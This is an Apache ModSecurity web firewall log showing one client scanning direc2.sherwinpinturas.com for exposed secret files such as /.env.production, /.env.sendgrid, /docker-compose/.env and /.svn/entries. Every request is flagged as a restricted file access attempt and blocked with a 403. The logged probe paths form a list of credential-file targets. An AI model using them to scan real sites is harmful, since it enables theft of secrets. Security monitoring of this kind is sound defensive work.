[Sun Oct 25 10:21:36.708689 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42540] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at4QcIxkYfnWL-SU_mhriAAAAA0"]
[Sun Oct 25 10:21:36.788289 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42540] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at4QcIxkYfnWL-SU_mhriAAAAA0"]
[Sun Oct 25 10:21:36.788554 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42540] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at4QcIxkYfnWL-SU_mhriAAAAA0"]
[Sun Oct 25 10:21:36.709544 2026] [security2:error] [pid 2847145:tid 2847145] [client 35.204.239.58:42650] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env_secret"] [unique_id "at4QcB_LOhWZWHwxzGuzaAAAAAo"]
[Sun Oct 25 10:21:36.789113 2026] [security2:error] [pid 2847145:tid 2847145] [client 35.204.239.58:42650] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env_secret"] [unique_id "at4QcB_LOhWZWHwxzGuzaAAAAAo"]
[Sun Oct 25 10:21:36.789357 2026] [security2:error] [pid 2847145:tid 2847145] [client 35.204.239.58:42650] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env_secret"] [unique_id "at4QcB_LOhWZWHwxzGuzaAAAAAo"]
[Sun Oct 25 10:21:36.746489 2026] [security2:error] [pid 2847162:tid 2847162] [client 35.204.239.58:42710] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.mail"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.mail"] [unique_id "at4QcGfNJowUWx98rtMe9AAAABU"]
[Sun Oct 25 10:21:36.874451 2026] [security2:error] [pid 2847162:tid 2847162] [client 35.204.239.58:42710] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.mail"] [unique_id "at4QcGfNJowUWx98rtMe9AAAABU"]
[Sun Oct 25 10:21:36.874918 2026] [security2:error] [pid 2847162:tid 2847162] [client 35.204.239.58:42710] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.mail"] [unique_id "at4QcGfNJowUWx98rtMe9AAAABU"]
[Sun Oct 25 10:21:36.876919 2026] [security2:error] [pid 2847164:tid 2847164] [client 35.204.239.58:42682] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sendgrid"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.sendgrid"] [unique_id "at4QcKdvx8t8UZpJmR8kdAAAABc"]
[Sun Oct 25 10:21:36.877149 2026] [security2:error] [pid 2847164:tid 2847164] [client 35.204.239.58:42682] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.sendgrid"] [unique_id "at4QcKdvx8t8UZpJmR8kdAAAABc"]
[Sun Oct 25 10:21:36.978983 2026] [security2:error] [pid 2847164:tid 2847164] [client 35.204.239.58:42682] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.sendgrid"] [unique_id "at4QcKdvx8t8UZpJmR8kdAAAABc"]
[Sun Oct 25 10:21:37.246396 2026] [security2:error] [pid 2847161:tid 2847161] [client 35.204.239.58:42690] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at4QceoJx7c8ORVrfL866AAAABQ"]
[Sun Oct 25 10:21:37.246688 2026] [security2:error] [pid 2847161:tid 2847161] [client 35.204.239.58:42690] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at4QceoJx7c8ORVrfL866AAAABQ"]
[Sun Oct 25 10:21:37.246962 2026] [security2:error] [pid 2847161:tid 2847161] [client 35.204.239.58:42690] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at4QceoJx7c8ORVrfL866AAAABQ"]
[Sun Oct 25 10:21:37.255427 2026] [security2:error] [pid 2847162:tid 2847162] [client 35.204.239.58:42710] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/application/.env.sample"] [unique_id "at4QcWfNJowUWx98rtMe9QAAABU"]
[Sun Oct 25 10:21:37.255614 2026] [security2:error] [pid 2847162:tid 2847162] [client 35.204.239.58:42710] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/application/.env.sample"] [unique_id "at4QcWfNJowUWx98rtMe9QAAABU"]
[Sun Oct 25 10:21:37.255853 2026] [security2:error] [pid 2847162:tid 2847162] [client 35.204.239.58:42710] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/application/.env.sample"] [unique_id "at4QcWfNJowUWx98rtMe9QAAABU"]
[Sun Oct 25 10:21:37.256920 2026] [security2:error] [pid 2847157:tid 2847157] [client 35.204.239.58:42712] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.key"] [unique_id "at4QcRjDdGZa_VoIlCrpiwAAAAs"]
[Sun Oct 25 10:21:37.257079 2026] [security2:error] [pid 2847157:tid 2847157] [client 35.204.239.58:42712] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.key"] [unique_id "at4QcRjDdGZa_VoIlCrpiwAAAAs"]
[Sun Oct 25 10:21:37.257330 2026] [security2:error] [pid 2847157:tid 2847157] [client 35.204.239.58:42712] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.key"] [unique_id "at4QcRjDdGZa_VoIlCrpiwAAAAs"]
[Sun Oct 25 10:21:37.265652 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42540] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/config/.env.dev"] [unique_id "at4QcYxkYfnWL-SU_mhriQAAAA0"]
[Sun Oct 25 10:21:37.265888 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42540] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/config/.env.dev"] [unique_id "at4QcYxkYfnWL-SU_mhriQAAAA0"]
[Sun Oct 25 10:21:37.266178 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42540] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/config/.env.dev"] [unique_id "at4QcYxkYfnWL-SU_mhriQAAAA0"]
[Sun Oct 25 10:21:37.360905 2026] [security2:error] [pid 2847145:tid 2847145] [client 35.204.239.58:42650] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/config/.env.local"] [unique_id "at4QcR_LOhWZWHwxzGuzaQAAAAo"]
[Sun Oct 25 10:21:37.411059 2026] [security2:error] [pid 2847145:tid 2847145] [client 35.204.239.58:42650] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/config/.env.local"] [unique_id "at4QcR_LOhWZWHwxzGuzaQAAAAo"]
[Sun Oct 25 10:21:37.411370 2026] [security2:error] [pid 2847145:tid 2847145] [client 35.204.239.58:42650] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/config/.env.local"] [unique_id "at4QcR_LOhWZWHwxzGuzaQAAAAo"]
[Sun Oct 25 10:21:37.361819 2026] [security2:error] [pid 2847160:tid 2847160] [client 35.204.239.58:42676] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/config/.env.production"] [unique_id "at4QcUcC0oseVu5Uow-7OQAAABA"]
[Sun Oct 25 10:21:37.414117 2026] [security2:error] [pid 2847160:tid 2847160] [client 35.204.239.58:42676] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/config/.env.production"] [unique_id "at4QcUcC0oseVu5Uow-7OQAAABA"]
[Sun Oct 25 10:21:37.414410 2026] [security2:error] [pid 2847160:tid 2847160] [client 35.204.239.58:42676] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/config/.env.production"] [unique_id "at4QcUcC0oseVu5Uow-7OQAAABA"]
[Sun Oct 25 10:21:37.391200 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/config/.env.staging"] [unique_id "at4QcbzfR6IZTglRqQr3WAAAAAU"]
[Sun Oct 25 10:21:37.426006 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/config/.env.staging"] [unique_id "at4QcbzfR6IZTglRqQr3WAAAAAU"]
[Sun Oct 25 10:21:37.426258 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/config/.env.staging"] [unique_id "at4QcbzfR6IZTglRqQr3WAAAAAU"]
[Sun Oct 25 10:21:37.393239 2026] [security2:error] [pid 2847164:tid 2847164] [client 35.204.239.58:42682] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker-compose/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/docker-compose/.env"] [unique_id "at4Qcadvx8t8UZpJmR8kdgAAABc"]
[Sun Oct 25 10:21:37.426785 2026] [security2:error] [pid 2847164:tid 2847164] [client 35.204.239.58:42682] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/docker-compose/.env"] [unique_id "at4Qcadvx8t8UZpJmR8kdgAAABc"]
[Sun Oct 25 10:21:37.427050 2026] [security2:error] [pid 2847164:tid 2847164] [client 35.204.239.58:42682] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/docker-compose/.env"] [unique_id "at4Qcadvx8t8UZpJmR8kdgAAABc"]
[Sun Oct 25 10:21:37.399120 2026] [security2:error] [pid 2847168:tid 2847168] [client 35.204.239.58:42720] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at4QcUn6URg6zvHWvuwQbwAAABs"]
[Sun Oct 25 10:21:37.427518 2026] [security2:error] [pid 2847168:tid 2847168] [client 35.204.239.58:42720] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at4QcUn6URg6zvHWvuwQbwAAABs"]
[Sun Oct 25 10:21:37.427902 2026] [security2:error] [pid 2847168:tid 2847168] [client 35.204.239.58:42720] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at4QcUn6URg6zvHWvuwQbwAAABs"]
